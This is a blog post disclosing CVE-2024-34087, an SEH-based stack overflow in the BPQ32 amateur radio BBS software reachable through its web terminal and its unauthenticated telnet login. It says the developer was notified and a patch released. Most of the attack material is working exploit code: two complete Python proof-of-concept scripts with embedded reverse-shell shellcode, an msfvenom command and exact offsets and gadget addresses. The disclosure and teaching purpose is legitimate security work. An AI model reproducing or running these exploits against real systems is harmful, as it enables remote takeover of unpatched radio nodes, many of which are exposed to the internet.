electronics
BBS Hacking – Discovering RCE within BPQ32 – SEH Based Buffer Overflow

BBS Hacking – Discovering RCE within BPQ32 – SEH Based Buffer Overflow

I had just posted my security warning for amateur radio BBS users recently. Ultimately, many amateur radio applications are built on older programming languages. Using languages that aren’t memory safe is not necessarily a bad thing. But when we don’t incorporate modern practices and compilation options like those that enable ASLR(Address space layout randomization) and SAFE SEH (Safe Exception Handlers) we can create messy situations. That’s why security in layers is so important. After getting into a few silly debates about locking down unnecessarily exposed and unsafe exposed services online, I think it’s time to demonstrate the implications. My point in all of this being, use best practices as a user, and you will eliminate most threats demonstrated. Now lets talk about Hacking BPQ32 via RCE with SEH Overflow. The exploit below was given the identifier: CVE-2024-34087. A link to the listing can be found here.

Vulnerability Disclosure and Application Developers

I feel as if this needs prefaced with a bit about vulnerability disclosure. In the amateur radio world, most of our applications are created out of passion, and are free to the community. We don’t have the motive to pay someone large sums of money for pentesting, as we don’t usually create for financial gain. As such, vulnerability disclosures in our community seem rare for the amount of older software we use. If you have never seen this before, I want to set the tone, and explain the purpose. Typically a responsible disclosure involves notifying the developer of the issue. John, G8BPQ creator of BPQ32 was very responsive to my emails. This isn’t always the case, and it was refreshing to see someone on top of a free project that has been maintained for so long. A Patch for this vulnerability was released shortly after. You just need to make sure to obtain the new BPQ32.dll file from the Beta Downloads, and swap it out.

Kicking things off with an Unauthenticated Stack Overflow

When I start pentesting an application, I usually start with the easiest vector. In BPQ32’s case, the obvious choice was it’s telnet server, as it accepts input from anybody. After lurking the BPQ32 groups page, I noticed that many people left telnet exposed to the internet. I won’t harp here why that’s an issue, because you can see that in a previous blog post. The Telnet Stack overflow isn’t the meet and potatoes of this story, so I’ll keep it short.

How the Telnet Stack Overflow was done.

I noticed that sending an unusually large username at the login prompt caused the application to crash with a Buffer Overrun exception. That in itself is a lot better result than the Remote Code Execution we have next. Although it’s still a DOS(Denial Of Service) attack. After all, this means if you have an exposed telnet server with BPQ32, anyone can just crash it. Not great, but it made me dig in deeper.

Discovering a SEH Based Overflow via HTTP

I used wirehsark to check out traffic going to and from the BPQ32 http server. Bug hunting can be like finding a needle in a haystack, so I spent a while throwing various inputs at different fields to see what happens. I found out I could send input to the terminal using the web terminal via a special code in the POST request. You’ll see it below as “T0000E6B87924

POST /TermInput?T0000E6B87924 HTTP/1.1
Host: 10.10.2.107:8012
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: http://10.10.2.107:8012
Connection: keep-alive
Referer: http://10.10.2.107:8012/Node/InputLine.html?T0000E6B87924
Upgrade-Insecure-Requests: 1

input=%3F

HTTP is clear text, so anyone could intercept this packet between the server and I, and act as a SYSOP by replicating this request. The %3F you see at the end was my input, in HEX (?). So this portion can be replaced to send any command you wish.

First I tried to send the input a LARGE amount of data by changing my input via code. But I noticed the server would just drop the connection. I lowered this down until the server accepted my input, at about 60,000 bytes in the input field. Once more I noticed sending this 60,000 bytes twice would crash the application. I assume the webapp would not accept such a high number as 120,000 at once. But when divided up into two chunks of 60,000, the data must be added somewhere resulting in an access exception. This can be seen in the screenshot below within x64dbg.

EXCEPTION_ACCESS_VIOLATION

After such an exception, we check the handler:

SEH Overwrite due to Classical Buffer Overflow

Those 41’s you see are bytes from my buffer of ‘A’s sent to the input field for the terminal. After seeing I can control both the current exception handler address and the pointer to the next one, I knew I had something.

Whats a SEH?

The real fun started when I found a SEH(Structured Exception Handler) based overflow. These are the result of a stack based overflow allowing an attacker to overwrite the pointer to the current exception handler, as well as the next one in the SEH Chain. Then once an exception occurs, the program will go to the address within the current handler (the address we give it). We can use this fact to “move” the next address in the SEH Chain (which we also control) to be executed next. We can perform this move by popping two values off of the stack, and returning to our original area in code, making our secondary address the next in line for execution. In order to pop two values form the stack and return, we must find this “gadget” within the executable code of the program, and point our current exception handler address to it.

  • A stack overflow allows us to overwrite the current exception handlers address.
  • We must control both the current exception handler address, as well as the pointer to the next one.
  • We overflow the buffer, and overwrite the current exception handler with an address in memory we know to contain a POP POP RET (moving the next exception pointer to an area of the memory we control to be executed next).
  • We place a small jmp statement at the pointer to the next exception handler(the second address we control), that will jump ahead 13 bytes, over the exception handler structure, which lands us right on our controllable buffer.
  • Once we are on our buffer, we are home free. We can create a NOP sled (which is a buffer of 0x90(NOP in assembly) to give us a nice path to shellcode we will put somewhere in the middle.

Finding the SEH Addresses Offset:

Now that we know we CAN overwrite these addresses, the next goal is figuring out the offset to them, so that we can manipulate them individually. This is typically done by sending a specific pattern that we can identify by location in memory. Creating such a pattern for 60,000 bytes seemed very excessive. I opted for creating a 1000 byte pattern, which would be the base for by exploit. You rarely need more than 400 for a proper reverse shell. I would just multiply the buffer by 60, giving me my 60,000 needed bytes per my required two web requests. I used metasploit frameworks pattern create tool to generate my payload.

Pattern Create within metasploit framework
Output of the BPQ32 Terminal after the Pattern Payload is sent.

Great, another crash. Now lets take a look at those exception handlers.

I fed those two addresses into metasploit frameworks pattern find tool to find the offset to these addresses.

Offset finding with metasploit framework

So we have about 693 Bytes of space to play with. Directly after will be the secondary address where will will store our JMP instruction. This will take up 4 Bytes. After this, at offset 697 we will store the address pointing to our POP POP RET gadget. This will move the second address to be called next.

Finding a POP POP RET Gadget.

So we control the buffers, now lets cross our fingers and hope for a POP POP RET variation in a module that is not operating system specific. Using the mona module for the Immunity Debugger, I was able to find a handy instruction at 0x421385e3 containing “POP EAX, POP EBP, RETN. This address was in space that had PAGE_EXECUTE_READ, no ASLR, no SafeSEH, and on top of all that was located in bpq32.dll making it non windows version specific.

POP POP RET Gadget in Immunity

Assembling the Pieces, and building a Proof of Concept.

So we have the offset to the current exception handler (697), we have the offset to the next exception handler pointer(693). We also have a set of 2 POP instructions that will pop 8 total bytes off of the stack. We also control the current exception handler address, and the next one.

We simply point the current exception handler to our POP POP RET address located at 0x421385e3. Then the code in the second address we have gets executed as it’s next in the SEH chain after the 2 other addresses are popped off of the stack. This address will contain the OPCODE JMP 0b (13 bytes forward), which should land us right into our shellcode. We will add a NOP sled buffer after the last exception handler address before adding shell code to give ourselves a little buffer.

So this is what our payload now looks like:

NOP_SLED_ONE = b'\x90' * 693
JMP_CODE = b'\xeb\x0b\x90\x90'
CURR_EXCEPTION = b'\xe3\x85\x13\x42'
NOP_SLED_TWO_BUFFER = b"\x90" * 16
NOP_SLED_TWO= b"\x90" * 119

payload = NOP_SLED_ONE + JMP_CODE + CURR_EXCEPTION + NOP_SLED_TWO_BUFFER + SHELLCODE +  NOP_SLED_TWO

payload *= 60

So we only have two more unknowns: What shellcode will we use, and how many bytes after the shellcode do we need to fill with NOPS to reach an even 1000bytes. Remember we multiply the paylaod by 60, so this needs to be the same buffer size.

Building a Reverse Shell

I decided I wanted to go for the gold. While most POC usually pop a calculator or notepad, I want to have a little more fun.

A typical reverse shell, after removing NULL bytes for windows will take about 300-400 bytes of memory. You may notice that we’ve only have 283 bytes free after the offsets to our two addresses, 4 bytes for each of them, and then a 16 byte buffer to our shellcode. That’s where things can get a little funky. Remember that are are just taking this 1000 byte buffer and multiplying it by 60.

This means, really it’s just repeating itself over and over again. This means we can simply divide our reverse shell shell code into two parts. We will put the first half at the end of our 1000 byte payload after the Second NOP sled. We will take the second portion, and stick it at the start before the first NOP Sled. Once execution reaches The First portion at the end of the buffer, it will continue until it reaches back around to the start again, reaching the second portion.

So our final payload and POC looks like the following:

import socket
import time

TERM = "T0000613E9200"
IP = "127.0.0.1"
PORT = "8012"

#Part 1 of the shellcode is 180 Bytes
BUFF_PART_ONE =  b""
BUFF_PART_ONE += b"\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e"
BUFF_PART_ONE += b"\x81\x76\x0e\x91\x88\x22\xbb\x83\xee\xfc\xe2\xf4"
BUFF_PART_ONE += b"\x6d\x60\xa0\xbb\x91\x88\x42\x32\x74\xb9\xe2\xdf"
BUFF_PART_ONE += b"\x1a\xd8\x12\x30\xc3\x84\xa9\xe9\x85\x03\x50\x93"
BUFF_PART_ONE += b"\x9e\x3f\x68\x9d\xa0\x77\x8e\x87\xf0\xf4\x20\x97"
BUFF_PART_ONE += b"\xb1\x49\xed\xb6\x90\x4f\xc0\x49\xc3\xdf\xa9\xe9"
BUFF_PART_ONE += b"\x81\x03\x68\x87\x1a\xc4\x33\xc3\x72\xc0\x23\x6a"
BUFF_PART_ONE += b"\xc0\x03\x7b\x9b\x90\x5b\xa9\xf2\x89\x6b\x18\xf2"
BUFF_PART_ONE += b"\x1a\xbc\xa9\xba\x47\xb9\xdd\x17\x50\x47\x2f\xba"
BUFF_PART_ONE += b"\x56\xb0\xc2\xce\x67\x8b\x5f\x43\xaa\xf5\x06\xce"
BUFF_PART_ONE += b"\x75\xd0\xa9\xe3\xb5\x89\xf1\xdd\x1a\x84\x69\x30"
BUFF_PART_ONE += b"\xc9\x94\x23\x68\x1a\x8c\xa9\xba\x41\x01\x66\x9f"
BUFF_PART_ONE += b"\xb5\xd3\x79\xda\xc8\xd2\x73\x44\x71\xd7\x7d\xe1"
BUFF_PART_ONE += b"\x1a\x9a\xc9\x36\xcc\xe0\x11\x89\x91\x88\x4a\xcc"
BUFF_PART_ONE += b"\xe2\xba\x7d\xef\xf9\xc4\x55\x9d\x96\x77\xf7\x03"

#Part 2 of the shellcode is 168 Bytes
BUFF_PART_TWO =  b""
BUFF_PART_TWO += b"\x01\x89\x22\xbb\xb8\x4c\x76\xeb\xf9\xa1\xa2\xd0"
BUFF_PART_TWO += b"\x91\x77\xf7\xeb\xc1\xd8\x72\xfb\xc1\xc8\x72\xd3"
BUFF_PART_TWO += b"\x7b\x87\xfd\x5b\x6e\x5d\xb5\xd1\x94\xe0\x28\xb1"
BUFF_PART_TWO += b"\x93\xe2\x4a\xb9\x91\x99\x7e\x32\x77\xe2\x32\xed"
BUFF_PART_TWO += b"\xc6\xe0\xbb\x1e\xe5\xe9\xdd\x6e\x14\x48\x56\xb7"
BUFF_PART_TWO += b"\x6e\xc6\x2a\xce\x7d\xe0\xd2\x0e\x33\xde\xdd\x6e"
BUFF_PART_TWO += b"\xf9\xeb\x4f\xdf\x91\x01\xc1\xec\xc6\xdf\x13\x4d"
BUFF_PART_TWO += b"\xfb\x9a\x7b\xed\x73\x75\x44\x7c\xd5\xac\x1e\xba"
BUFF_PART_TWO += b"\x90\x05\x66\x9f\x81\x4e\x22\xff\xc5\xd8\x74\xed"
BUFF_PART_TWO += b"\xc7\xce\x74\xf5\xc7\xde\x71\xed\xf9\xf1\xee\x84"
BUFF_PART_TWO += b"\x17\x77\xf7\x32\x71\xc6\x74\xfd\x6e\xb8\x4a\xb3"
BUFF_PART_TWO += b"\x16\x95\x42\x44\x44\x33\xc2\xa6\xbb\x82\x4a\x1d"
BUFF_PART_TWO += b"\x04\x35\xbf\x44\x44\xb4\x24\xc7\x9b\x08\xd9\x5b"
BUFF_PART_TWO += b"\xe4\x8d\x99\xfc\x82\xfa\x4d\xd1\x91\xdb\xdd\x6e"

NOP_SLED_ONE = b'\x90' * 525
JMP_CODE = b'\xeb\x0b\x90\x90'
CURR_EXCEPTION = b'\xe3\x85\x13\x42'
NOP_SLED_TWO= b"\x90" * 119
payload = BUFF_PART_TWO + NOP_SLED_ONE + JMP_CODE + CURR_EXCEPTION + NOP_SLED_TWO + BUFF_PART_ONE
payload *= 60

content = b"input=" + payload
buffer = "POST /TermInput?" + TERM + " HTTP/1.1\r\n"
buffer += "Host: " + IP + ":" + PORT + "\r\n"
buffer += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36\r\n"
buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n"
buffer += "Accept-Language: en-US,en;q=0.9\r\n"
buffer += "Referer: http://" + IP + ":" + PORT + "/Node/InputLine.html?" + TERM + "\r\n"
buffer += "Connection: close\r\n"
buffer += "input=CHAT\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: " + str(len(content)) + "\r\n"
buffer += "\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, int(PORT)))
s.send(buffer.encode() + content)
s.close()
time.sleep(5)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, int(PORT)))
s.send(buffer.encode() + content)
s.close()

This python script will make two POST requests with our payload. The payload contains shell code that will send a reverse shell back to the IP 10.10.2.106, and port 4444 giving the attacker control of the server running BPQ32.

We see the text payload pop up in the Web Terminal on Execution:

bpq32 corrupted terminal

A Breakpoint reveals we’ve hit our POP POP RET Instruction.

Breakpoint statement from a POP POP RET

After we hit the RET instruction, we can see the end of our First NOP SLED, followed by Our JMP 0b instruction, and overwritten current exception address, and last our second NOP Sled, alogn with the JMP 13 bytes down:

JMP Instruction wihtin x64 dbg

And if we follow that NOP sled down the 119 bytes specified, we will find the first portion of our reverse shell shellcode joined with the second portion

Start of shellcode buffer within x64dbg

And checking our reverse shell listener, we a connection back from the shellcode completing the exploit:

Reverse Shell from SEH Overflow

We now have a shell directly into the computer under the context in which the application is ran.

But Wait There’s more! – Unauthenticated RCE

I couldn’t leave well enough alone, and decided to circle back to the telnet overflow. If I could leverage this to an SEH just as I did with the web terminal, I could have the golden exploit. Unauthenticated remote code execution.

Finding the Offset

Using the same methods as above, this time I threw 21,000 bytes at the telnet login with 1000 byte repeating patterns. Sure enough, I was able to overwrite the SEH once more, this time with offsets 827 and 823. This looks like a very easy adaption of the exploit above, as finding the POP POP RET was already done for us.

As you can see below, the current exception handler pointer is overwritten at offset 827, and the next at offset 823.

Removing “Bad chars”

When I tried to drop in the code from the previous exploit, I noticed the program didn’t crash. What could be causing this? It crashes with 21000 ‘A’s but not our shell code payload? The culprit is something we call “Bad Chars”. You see, some times program input just won’t accept some bytes, or it may cause the behavior to change. So I brought out monna, a tool for find such “bad chars”, and Immunity Debugger to generate a payload of all bytes, send them as a payload to the telnet server, and looked into the memory to see what was changed. You can see below there are at least 7 of these bytes that won’t work in our payload.

Turns out that wasn’t the only ones. after further testing, and seeing the corrupted string in the debugger, I decided the best way to overcome this was to generate shellcode containing ONLY ASCII characters. This made logical since, as a telnet username prompt would really only expect such letters anyways.

I did this with msfvenom and the following command:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.20.106 LPORT=4444 -f py EXITFUNC=thread -e x86/alpha_mixed

Assembling the Exploit

We now have the offset needed to the current exception handler, the pointer to the next one, the byte code needed to jump ahead to our buffer (\xeb\x0b\x90\x90) (We calculated this when doing the HTTP exploit), and an address of a POP POP RET ('\xe3\x85\x13\x42') which we also found when doing the HTTP server exploit. And finally we have our shell code, which we generated only from alpha mixed characters.

All in all, our payload looks like this:

payload = shellcode + NOP_SLED_ONE + JMP_CODE + CURR_EXCEPTION + NOP_SLED_TWO

Launching the exploit

Now just like above, when we exploited the SEH overflow in the HTTP server, we now have a tellnet payload ready to launch. The scary part about this payload however, is that there is absolutely NO authentication needed. The user only needs to send the payload at the open telnet port, and gain a reverse shell back to the attackers machine.

The following proof of concept will cause the remote server to connect back to an attacker machine with IP: 127.0.0.1, port 4444, giving the attacker a full shell to the remote server.(this is just a POC, you can change the remote ip from the localhost to anything you like)

import socket, time, sys

#Telnet Connection Information
ip = "127.0.0.1"
port = 8010
size = 21000

buf =  b""
buf += b"\x89\xe2\xda\xd9\xd9\x72\xf4\x58\x50\x59\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
buf += b"\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
buf += b"\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
buf += b"\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += b"\x79\x6c\x59\x78\x6b\x32\x63\x30\x75\x50\x45\x50"
buf += b"\x35\x30\x6e\x69\x69\x75\x55\x61\x39\x50\x31\x74"
buf += b"\x4e\x6b\x36\x30\x54\x70\x4e\x6b\x51\x42\x66\x6c"
buf += b"\x6c\x4b\x73\x62\x54\x54\x6c\x4b\x54\x32\x51\x38"
buf += b"\x64\x4f\x38\x37\x70\x4a\x76\x46\x75\x61\x4b\x4f"
buf += b"\x4e\x4c\x45\x6c\x31\x71\x71\x6c\x74\x42\x54\x6c"
buf += b"\x61\x30\x4a\x61\x38\x4f\x46\x6d\x66\x61\x4a\x67"
buf += b"\x48\x62\x58\x72\x72\x72\x32\x77\x4c\x4b\x56\x32"
buf += b"\x32\x30\x4e\x6b\x42\x6a\x75\x6c\x6e\x6b\x62\x6c"
buf += b"\x32\x31\x71\x68\x6d\x33\x51\x58\x65\x51\x4b\x61"
buf += b"\x63\x61\x4e\x6b\x30\x59\x67\x50\x36\x61\x49\x43"
buf += b"\x6e\x6b\x50\x49\x52\x38\x48\x63\x47\x4a\x43\x79"
buf += b"\x6c\x4b\x46\x54\x6c\x4b\x77\x71\x7a\x76\x74\x71"
buf += b"\x49\x6f\x6c\x6c\x59\x51\x6a\x6f\x56\x6d\x57\x71"
buf += b"\x5a\x67\x65\x68\x49\x70\x74\x35\x69\x66\x43\x33"
buf += b"\x33\x4d\x5a\x58\x65\x6b\x71\x6d\x67\x54\x32\x55"
buf += b"\x59\x74\x72\x78\x6e\x6b\x62\x78\x54\x64\x45\x51"
buf += b"\x79\x43\x45\x36\x6c\x4b\x56\x6c\x72\x6b\x6c\x4b"
buf += b"\x50\x58\x37\x6c\x47\x71\x7a\x73\x6e\x6b\x74\x44"
buf += b"\x6c\x4b\x35\x51\x7a\x70\x4c\x49\x47\x34\x47\x54"
buf += b"\x56\x44\x31\x4b\x53\x6b\x31\x71\x43\x69\x51\x4a"
buf += b"\x63\x61\x79\x6f\x6d\x30\x71\x4f\x71\x4f\x32\x7a"
buf += b"\x4c\x4b\x46\x72\x68\x6b\x6c\x4d\x53\x6d\x52\x48"
buf += b"\x70\x33\x66\x52\x35\x50\x45\x50\x31\x78\x72\x57"
buf += b"\x62\x53\x44\x72\x33\x6f\x52\x74\x65\x38\x62\x6c"
buf += b"\x30\x77\x66\x46\x44\x47\x6b\x4f\x49\x45\x4e\x58"
buf += b"\x6e\x70\x65\x51\x37\x70\x77\x70\x77\x59\x58\x44"
buf += b"\x46\x34\x50\x50\x75\x38\x71\x39\x4b\x30\x32\x4b"
buf += b"\x37\x70\x79\x6f\x6a\x75\x70\x50\x42\x70\x50\x50"
buf += b"\x46\x30\x33\x70\x50\x50\x51\x50\x70\x50\x43\x58"
buf += b"\x4b\x5a\x34\x4f\x49\x4f\x69\x70\x6b\x4f\x6e\x35"
buf += b"\x4f\x67\x33\x5a\x44\x45\x75\x38\x73\x4f\x37\x70"
buf += b"\x33\x30\x73\x31\x33\x58\x54\x42\x33\x30\x64\x51"
buf += b"\x51\x4c\x6b\x39\x68\x66\x31\x7a\x52\x30\x63\x66"
buf += b"\x51\x47\x53\x58\x6d\x49\x4c\x65\x32\x54\x30\x61"
buf += b"\x4b\x4f\x78\x55\x4e\x65\x6f\x30\x74\x34\x64\x4c"
buf += b"\x69\x6f\x32\x6e\x44\x48\x30\x75\x68\x6c\x53\x58"
buf += b"\x38\x70\x4c\x75\x79\x32\x42\x76\x59\x6f\x38\x55"
buf += b"\x75\x38\x33\x53\x42\x4d\x51\x74\x77\x70\x4d\x59"
buf += b"\x79\x73\x62\x77\x76\x37\x42\x77\x56\x51\x6a\x56"
buf += b"\x30\x6a\x65\x42\x33\x69\x43\x66\x58\x62\x4b\x4d"
buf += b"\x33\x56\x6b\x77\x30\x44\x67\x54\x77\x4c\x33\x31"
buf += b"\x63\x31\x6c\x4d\x77\x34\x46\x44\x72\x30\x48\x46"
buf += b"\x77\x70\x43\x74\x50\x54\x76\x30\x70\x56\x42\x76"
buf += b"\x52\x76\x32\x66\x50\x56\x52\x6e\x71\x46\x61\x46"
buf += b"\x63\x63\x32\x76\x62\x48\x31\x69\x38\x4c\x55\x6f"
buf += b"\x4e\x66\x69\x6f\x58\x55\x4e\x69\x49\x70\x72\x6e"
buf += b"\x70\x56\x71\x56\x79\x6f\x54\x70\x32\x48\x65\x58"
buf += b"\x4c\x47\x67\x6d\x45\x30\x6b\x4f\x7a\x75\x6d\x6b"
buf += b"\x79\x70\x65\x4d\x56\x4a\x74\x4a\x32\x48\x6e\x46"
buf += b"\x6f\x65\x4d\x6d\x4d\x4d\x4b\x4f\x5a\x75\x45\x6c"
buf += b"\x55\x56\x51\x6c\x66\x6a\x6f\x70\x69\x6b\x39\x70"
buf += b"\x74\x35\x43\x35\x4f\x4b\x70\x47\x57\x63\x31\x62"
buf += b"\x70\x6f\x63\x5a\x45\x50\x76\x33\x39\x6f\x58\x55"
buf += b"\x41\x41"


NOP_SLED_ONE = b'\x90' * 113
JMP_CODE = b'\xeb\x0b\x90\x90'
CURR_EXCEPTION = b'\xe3\x85\x13\x42'
NOP_SLED_TWO= b"\x90" * 169
payload = buf + NOP_SLED_ONE + JMP_CODE + CURR_EXCEPTION + NOP_SLED_TWO

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((ip, port))
    payload *= 21
    exploit = payload + b'\r\n'
    print("Fuzzing with {} bytes".format(len(exploit)))
    s.send(exploit)
    c = s.recv(1000)
    print(c)

Conclusion

At first I only tested this exploit in Windows XP SP2 x64bit, as I didn’t think buffer overflows could be used to obtain shells in modern operating systems. I was wrong.

I ran bpq32 without a debugger on my windows 11 computer, executed the python code, and was very surprised to see the reverse shell come back. Now obviously windows defender alerted me to the fact malware was found. But it executed and ran! I know that the buffer overflow exists in the Linux counterpart, linbpq. But I have not gone as far to create an exploit for it. This is as much research as I want to do, and I can say I’ve learned a lot from it.

My Operating system Information:
Microsoft Windows 11 Pro x64bit
Version: 10.0.22631 Build 22631

BPQ32 Version used and Vulnerable:
bpq32_6.0.24.1, Dated 20230810

Consider Subscribing!

Signup for our once a month newsletter!

We don’t spam! Read our privacy policy for more info.

Leave a Reply

Your email address will not be published. Required fields are marked *